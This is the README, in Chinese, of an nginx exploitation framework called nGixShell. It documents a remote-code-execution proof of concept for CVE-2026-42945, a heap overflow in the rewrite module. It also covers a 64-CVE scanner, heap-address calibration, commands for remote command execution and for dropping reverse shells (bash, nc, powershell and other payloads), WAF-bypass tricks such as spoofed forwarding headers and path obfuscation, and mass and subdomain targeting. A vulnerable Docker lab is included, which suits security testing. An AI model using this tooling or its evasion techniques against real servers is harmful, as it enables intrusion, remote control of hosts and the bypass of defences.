nginx CVE 扫描器 + RCE 漏洞利用框架 (CVE-2026-42945 及另外 16 个)
nGixShell 是一个 nginx CVE 扫描器与 RCE 漏洞利用框架。它内置了 CVE-2026-42945 的概念验证(根据 F5/NVD,CVSS 3.1 8.1 HIGH)——ngx_http_rewrite_module 中的堆缓冲区溢出——以及一个覆盖 64 个 nginx CVE 的扫描器,具备自动化 HTTP 探测、指纹识别、WAF 检测/绕过、Web 安全审计和报告生成功能。
零外部依赖。纯 Python 3 标准库。
漏洞利用前提条件(请先阅读)。
--cmd/--shell仅在以下条件全部满足时 才有效:目标是 x86_64,存在易受攻击的rewrite+set配置, ASLR 已禁用,并且堆/libc 地址已针对该确切构建版本校准 (calibrate.py→--build-file)。参见 漏洞利用要求。扫描器本身没有 这些要求。
# Spin up the vulnerable lab (builds nginx from source, ASLR disabled)
docker compose -f env/docker-compose.yml up -d --build
# Auto mode — fingerprint + CVE scan + web audit (works on any arch)
python3 ngixshell.py 127.0.0.1:19321
# RCE — calibrate, restart the worker for a clean heap, then exploit
W=$(pgrep -f 'nginx: worker' | head -1)
sudo python3 calibrate.py 127.0.0.1 19321 "$W" --spray-path /spray \
--spray-mode full --json -o profile.json
docker compose -f env/docker-compose.yml restart nginx-vuln
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id > /tmp/rce.txt' \
--build-file profile.json
docker compose -f env/docker-compose.yml exec nginx-vuln cat /tmp/rce.txt
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell --build-file profile.json
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file (one report per target)
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
无需任何标志——将工具指向目标即可自动运行所有内容。
TLS 会自动检测。即使 server_tokens off,也能对 nginx 进行指纹识别。
system()不会捕获 stdout:--cmd 'id'会执行但不会回显任何内容。 请使用具有可观察副作用的命令,并通过--verify-url http://target/pwned进行确认(HTTP 200 = 已确认)。
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| 标志 | 描述 |
|---|---|
| (无) | 自动 — 指纹识别 + CVE 扫描 + Web 审计 |
--cmd 'CMD' | 通过 CVE-2026-42945 RCE 执行命令 |
--cmd-file FILE | 从文件执行命令(以 ; 连接) |
--shell | 弹出反向 shell |
--shell-type TYPE | 载荷:bash python perl php nc powershell(默认:python) |
--upgrade-shell | shell 连接后自动发送 PTY 升级 |
--verify-url URL | 检测到崩溃后,获取 URL 以确认命令已执行(200 = 已验证) |
--subdomain-scan DOMAIN | 在子域名上查找易受攻击的 nginx |
--cve CVE-ID | 测试某个特定 CVE |
--list-cves | 打印全部 64 个 CVE 及其 CVSS 和探测信息 |
--list-candidates | 打印堆地址候选 |
--dry-run | 仅指纹识别 + 扫描,不进行漏洞利用 |
--target-file FILE | 从文件扫描多个主机 |
| 标志 | 描述 |
|---|---|
--build-file FILE | 推荐。 来自 calibrate.py --json -o FILE 的 JSON 校准配置文件 |
--offsets SPEC | 来自 calibrate.py 的逗号分隔十六进制堆偏移(例如 0x5a427,0x60e67) |
--heap-base HEX / --libc-base HEX / --system-addr HEX | 手动地址覆盖 |
--build KEY | 内置配置文件(仅附带 DepthFirst 实验环境参考) |
--rewrite-path PATH | 易受攻击的 rewrite 位置(默认 /api) |
--spray-path PATH | 用于 POST-body 喷射的 proxy_pass 后端位置(默认 /upload;捆绑实验环境使用 /spray) |
--spray-mode partial|full | partial:短 body + 大 Content-Length(捆绑实验环境);full:完整 body + X-Delay(DepthFirst 实验环境) |
--pad-a N / --pad-plus N | + 运行前的触发路径填充(默认 349 / 969,来自厂商 PoC) |
--continue-on-crash | 在未验证的崩溃后继续尝试剩余的堆候选 |
--tries N / --spray N / --body-len N | 每个候选的触发尝试次数 / 喷射连接数 / 喷射 body 大小 |
| 标志 | 描述 |
|---|---|
--waf-detect | 扫描前检测 WAF |
--waf-bypass | 启用所有绕过技术(同时运行检测) |
--waf-ip IP | 在绕过头中伪造此 IP(默认:随机 RFC1918) |
绕过技术(设置 --waf-bypass 时全部启用):
| 技术 | 详情 |
|---|---|
| IP 伪造 | X-Forwarded-For、X-Real-IP、X-Originating-IP、True-Client-IP、X-Remote-IP、X-Client-IP |
| UA 轮换 | 11 个真实浏览器/机器人 User-Agent,每个请求随机化 |
| 路径混淆 | 双斜杠、/./ 填充、百分号编码、大小写变化 |
| 头部大小写混排 | 随机化头部名称大小写以破坏 WAF 模式匹配 |
可检测的 WAF: Cloudflare、AWS WAF、Akamai、Imperva/Incapsula、ModSecurity、F5 BIG-IP ASM、Sucuri、Barracuda、NAXSI、Fastly、Wordfence
在扫描模式下自动运行。所有模块均可单独跳过。
| 标志 | 描述 |
|---|---|
--skip-headers | 跳过 HTTP 安全头审计 |
--skip-paths | 跳过路径/文件发现 |
--skip-vhosts | 跳过虚拟主机枚举 |
--skip-tls | 跳过 TLS 协议审计 |
--path-wordlist FILE | 额外探测的路径(每行一个) |
/nginx_status 暴露,则解析活动连接指标| 标志 | 描述 |
|---|---|
--port PORT | 覆盖端口 |
--tls | 强制 TLS(默认自动检测) |
--proxy URL | 代理:http://、https://、socks5:// |
| 标志 | 描述 |
|---|---|
--user-agent UA | 自定义 User-Agent |
--auth USER:PASS | HTTP Basic 认证 |
--cookie VALUE | Cookie 头 |
--header NAME:VALUE | 额外头部(可重复) |
| 标志 | 描述 |
|---|---|
--rate-limit RPS | 每秒最大请求数 |
--jitter MS | 请求之间 0–MS 毫秒的随机延迟 |
--retry N | 重试无结论的探测(默认:1) |
--timeout-multiplier X | 缩放所有超时(默认:1.0) |
| 标志 | 描述 |
|---|---|
--output FILE | 将日志写入 FILE |
--json | 结束时打印 JSON 摘要(多目标:{"targets": [...]}) |
--html-report [FILE] | 生成 HTML 报告(多目标模式下每个目标一个文件) |
--verbose | 调试输出 |
退出码: 0 — 无发现 / 漏洞利用已验证;1 — 存在发现、无
崩溃或执行错误。用于 CI 门控。不带 --verify-url 的 --cmd
在检测到 worker 崩溃时返回 0,这仅证明溢出到达了
池清理指针——而非代码已执行。
64 个条目,跨越 2009–2026 年。评分反映撰写时 NVD/F5 公告中的 CVSS v3.1 基础指标(在依赖它们进行分级之前请先核实)。 范围遵循 https://nginx.org/en/security_advisories.html。